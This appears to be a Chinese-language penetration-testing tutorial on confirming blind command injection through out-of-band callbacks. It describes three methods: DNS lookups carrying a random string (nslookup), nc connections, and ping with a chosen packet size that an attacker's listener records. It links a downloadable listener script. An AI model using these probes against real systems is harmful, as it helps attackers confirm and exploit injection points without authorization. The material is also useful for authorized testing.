命令可执行监听(判断)手段
当我们发现一个疑似命令执行利用点后,发现命令执行后无回显,如何判断命令是否可执行?
DNS Log
这是最常见的一种利用手段,很多人都喜欢使用dnslog平台或者自己搭建DNSlog服务
监听原理的执行
nslookup <randstr> <ip>
如果对应ip内存储了对应的随机字符串(<randstr>)就说明命令被执行。基本利用和原理就不细说了,那么除了DNSlog我们还有哪些方法?
TCP Random Port Log
实际上对于除了 DNS 之外的大多数场景来说,绝大多数反连的 “检测” 都是以 TCP 作为基础协议的,我们可以通过对基于 TCP 协议进行实现从而实现多种应用写的复杂兼容,我们常使用的方法是执行nc命令。
受害者服务器
nc -l <port>
<randstr>
攻击者服务器
nc <ip> <port>
但是上述两种方法都存在一个弊端,那就是不是所有的服务器都安装了nslookup
命令和nc
命令,尤其是windows服务器,那么我们能不能找到一种几乎所有操作系统都有的并且初始化都安装的命令呢???答案是存在,那就是我们常用的ping命令!!!
ICMP Size Log
众所周知,icmp最简单的触发命令就是ping命令,而且基本上所有的服务器都有ping命令,如果我们发现了受害者的一个疑似命令执行点如果执行了ping命令,ping了攻击者的服务器就说明了命令可以被执行,那么我么还需要解决一个问题,如何证明ping我们的服务器就是受害者的服务器,DNS Log和TCP Port Log是传了一个随机字符串用来证明,但是ping命令不能传送随机字符串那么我们还有什么办法吗?
我们看一看ping的应用
这是windos下的ping命令选项,我们可以注意到 -l
这一项,我们可以自定义发送缓冲区大小,那么我们是不是可以把缓冲区的大小当做随机数来使用?答案是肯定的。
我们可以在自己服务器搭建一个简单地监听服务器
链接:https://pan.baidu.com/s/1yRUvUZrUI1-6WE1ymbMhqQ
提取码:h1bg
python2 main_dnslog.py
我在一台受害者服务器(windows)上发送了一条缓存大小为520的数据
ping -l 520 <ip>
我们可以看到,攻击者服务器成功监听到了一条缓存大小为520的数据,这说明ping命令被执行,并且可以确定执行者身份就是受害者。
这里还要注意一点,那就是windows的缓存大小选项是-l
,而mac和linux的缓存大小选项是-s
,即ping -c 4 -s <len> <ip>